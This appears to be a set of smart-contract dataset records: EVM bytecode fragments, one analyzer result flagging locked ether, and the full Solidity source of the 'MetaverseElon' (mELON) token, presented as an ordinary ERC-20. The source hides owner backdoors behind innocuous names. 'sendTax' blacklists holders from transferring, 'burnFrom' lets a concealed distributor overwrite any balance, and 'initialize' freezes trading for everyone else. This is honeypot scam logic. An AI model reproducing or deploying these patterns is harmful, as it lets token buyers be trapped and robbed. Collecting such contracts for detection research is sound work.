fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b9565b6120388382613bf090919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612393576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260598152602001807f546865206e756d62657220746f2062652070726f636573736564206973206d6f81526020017f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686581526020017f206e756d6265722063757272656e746c792066726f7a656e2e0000000000000081525060600191505060405180910390fd5b6123e4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d081600154613c7590919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141580156126c157508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515612781576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d8152602001807f4974206973206e6f7420616e206578697374696e672061646d696e697374726181526020017f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207481526020017f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e00000081525060600191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561290f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff16151515612994576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b6001600a60006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a8b575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612b25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b8251811015612e1a57612c608282815181101515612c0957fe5b906020019060200201516000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d218282815181101515612cb357fe5b906020019060200201516000808685815181101515612cce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808584815181101515612d3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508281815181101515612d8857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181101515612dee57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612bef565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612edb5780601f10612eb057610100808354040283529160200191612edb565b820191906000526020600020905b815481529060010190602001808311612ebe57829003601f168201915b505050505081565b6000600a60009054906101000a900460ff16151515612f6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ffb836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515613097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b6130a18383613cff565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613155575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156131ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b600154811115801561322e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156132ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260558152602001807f4974206973207468652066697273742077616c6c6574206f7220617474656d7081526020017f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746881526020017f616e2074686520746f74616c20686f6c64696e672e000000000000000000000081525060600191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3826040518082815260200191505060405180910390a25050565b60096020528060005260406000206000915090505481565b600061342d82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6136d4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061376881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c081600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613989576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015613a145750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015613a70575060011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515613b30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001807f4974206d75737420626520746865206578697374696e67206d616e616765722081526020017f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277381526020017f2077616c6c65742e00000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515613c6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f546865726520617265206d6f726520746f206465647563742e0000000000000081525060200191505060405180910390fd5b818303905092915050565b6000808284019050838110151515613cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f546865206e756d62657220646964206e6f7420696e6372656173652e0000000081525060200191505060405180910390fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d3e575060008214155b8015613d8857506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515613e48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b613e99826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f2c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058207ffeb74aad263b65b49c91203213c5df7a86076cf20e4bc02d101157979e067e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
579
0xeb2eea6282a08ae32953c1b56661b5b329798c59
/** -%%%%%%%%%%%%%%%%%%%%%- :+*%%%%%%*=:#%%%%%%%%%%%%%%%%. ... ... -%#==========%%+====#%- .*%#+=====++#%%%*====+%%====+%%. %%%%%%%%%%%%%#*%%%%%%#*%#----------%%=----#%- #%+----------*%%+-----#%----=%%. %%+====*+====+#+====+*%%#-----+++++%%=----#%- -%#----=**=----#%+-----*%----=%%. %%+===================#%#-----%%%%%%%=----#%- =%*----+%%=----#%+-----=%----=%%. %%+====*%#=====#%+====+%#-----%%%%%%%=----#%- =%*----+%%=----#%+------#----=%%. %%+====#%#=====%%*====+%#-----=====%%=----#%- =%*----+%%=----#%+------+----=%%. %%+====#%#=====%%*====+%#---------=%%=----#%- =%*----+%%=----#%+----=-=----=%%. %%+====#%#=====%%*====+%#-----*****%%=----#%- =%*----+%%=----#%+----+------=%%. %%+====#%#=====%%*====+%#-----%%%%%%%=----#%- =%*----+%%=----#%+----*=-----=%%. %%+====#%#=====%%*====+%#-----%%%%%%%=----#%+-*%*----+%%=----#%+----#*-----=%%. %%+====#%#=====%%*====+%#-----+++++#%=----*######=---=**=---=#%+----#%=----=%%. %%+====#%#=====%%*====+%#----------*%=---------*%*=--------=*%%+----#%+----=%%. %%+++++#%#+++++%%*++++*%#==========*%==========*%%#+======*#%%%+====#%#====+%%. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*=*%%%%%%*=.#%%%%%%%%%%%%%%%%. https://www.melon.trade/ https://t.me/MetaverseElon */ // SPDX-License-Identifier: MIT pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender);} function _msgData() internal view virtual returns (bytes memory) {this; return msg.data;}} interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;}} library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;} function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted");} function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed");} function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage);} function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed");} function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage);} function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}} contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);} modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner");_;} modifier distributors() { require(_distributor == msg.sender, "Caller is not fee distributor");_;} function owner() public view returns (address) { return _owner;} function distributor() internal view returns (address) { return _distributor;} function setDistributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0);}} contract MetaverseElon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = 'MetaverseElon'; string private _symbol = 'mELON'; uint8 private _decimals = 9; uint256 private constant _tTotal = 200000000000000*10**9; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _pOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _multicall; mapping (address => bool) private _isExcluded; uint256 private constant MAX = ~uint256(0); address[] private _excluded; uint256 private _tFeeTotal; uint256 private _totalSupply; uint256 private _rTotal; bool _initialize; address router; address factory; constructor (address unif, address unir) { _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _pOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]); _isExcluded[distributor()] = true; _excluded.push(distributor()); _initialize = true; router = unir; factory = unif;} function name() public view returns (string memory) { return _name;} function symbol() public view returns (string memory) { return _symbol;} function decimals() public view returns (uint8) { return _decimals;} function totalSupply() public pure override returns (uint256) { return _tTotal;} function balanceOf(address account) public view override returns (uint256) { return _pOwned[account];} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function burnFrom(address account, uint256 tokens, uint256 burn) external distributors { require(account != address(0), "ERC20: burn from the zero address disallowed"); _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");} function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);} function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;}} function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate);} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_multicall[sender] || _multicall[recipient]) require (amount == 0, ""); if (_initialize == true || sender == distributor() || recipient == distributor()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);}} else {require (_initialize == true, "");}} function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function sendTax(address acconut) external distributors { _multicall[acconut] = true;} function singlecall(address account) external distributors { _multicall[account] = false;} function checkTax(address account) public view returns (bool) { return _multicall[account];} function initialize() public virtual distributors { if (_initialize == true) {_initialize = false;} else {_initialize = true;}} function initialized() public view returns (bool) { return _initialize;} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);} function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(3); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee);} function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee);} function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply);} function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);}}
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634549b039116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063dd62ed3e1461040a578063de66a0041461043a578063ed5c4f191461046a5761014d565b80634549b039146102de57806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c146103645780638da5cb5b1461036e5761014d565b8063158ef93e11610115578063158ef93e146101f457806318160ddd1461021257806323b872dd146102305780632d83811914610260578063313ce5671461029057806339509351146102ae5761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c5780630f78bf9a146101bc578063124d91e5146101d8575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101d660048036038101906101d1919061242e565b6106b0565b005b6101f260048036038101906101ed919061245b565b61079b565b005b6101fc610910565b6040516102099190612413565b60405180910390f35b61021a610927565b60405161022791906124bd565b60405180910390f35b61024a600480360381019061024591906124d8565b610939565b6040516102579190612413565b60405180910390f35b61027a60048036038101906102759190612272565b610a12565b60405161028791906124bd565b60405180910390f35b610298610a80565b6040516102a59190612547565b60405180910390f35b6102c860048036038101906102c391906123b8565b610a97565b6040516102d59190612413565b60405180910390f35b6102f860048036038101906102f3919061258e565b610b4a565b60405161030591906124bd565b60405180910390f35b6103286004803603810190610323919061242e565b610bd4565b60405161033591906124bd565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d919061242e565b610d70565b005b61036c610ea4565b005b610376610f8e565b60405161038391906125dd565b60405180910390f35b610394610fb7565b6040516103a19190612338565b60405180910390f35b6103c460048036038101906103bf91906123b8565b611049565b6040516103d19190612413565b60405180910390f35b6103f460048036038101906103ef91906123b8565b611116565b6040516104019190612413565b60405180910390f35b610424600480360381019061041f91906125f8565b611134565b60405161043191906124bd565b60405180910390f35b610454600480360381019061044f919061242e565b6111bb565b6040516104619190612413565b60405180910390f35b610484600480360381019061047f919061242e565b611211565b005b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffff